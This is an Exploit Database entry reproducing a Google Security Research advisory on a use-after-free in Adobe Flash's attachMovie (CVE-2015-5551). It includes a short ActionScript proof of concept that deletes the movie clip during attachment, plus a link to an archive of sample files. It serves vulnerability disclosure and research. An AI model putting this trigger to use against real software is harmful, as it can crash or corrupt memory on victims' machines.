Adobe Flash - attachMovie Use-After-Free

Author: Google Security Research
type: dos
platform: multiple
port: 
date_added: 2015-08-19 
date_updated: 2015-08-19 
verified: 1 
codes: CVE-2015-5551 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){

	trace("hello");

	newResetButton.removeMovieClip();
	return "test";
	}

_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip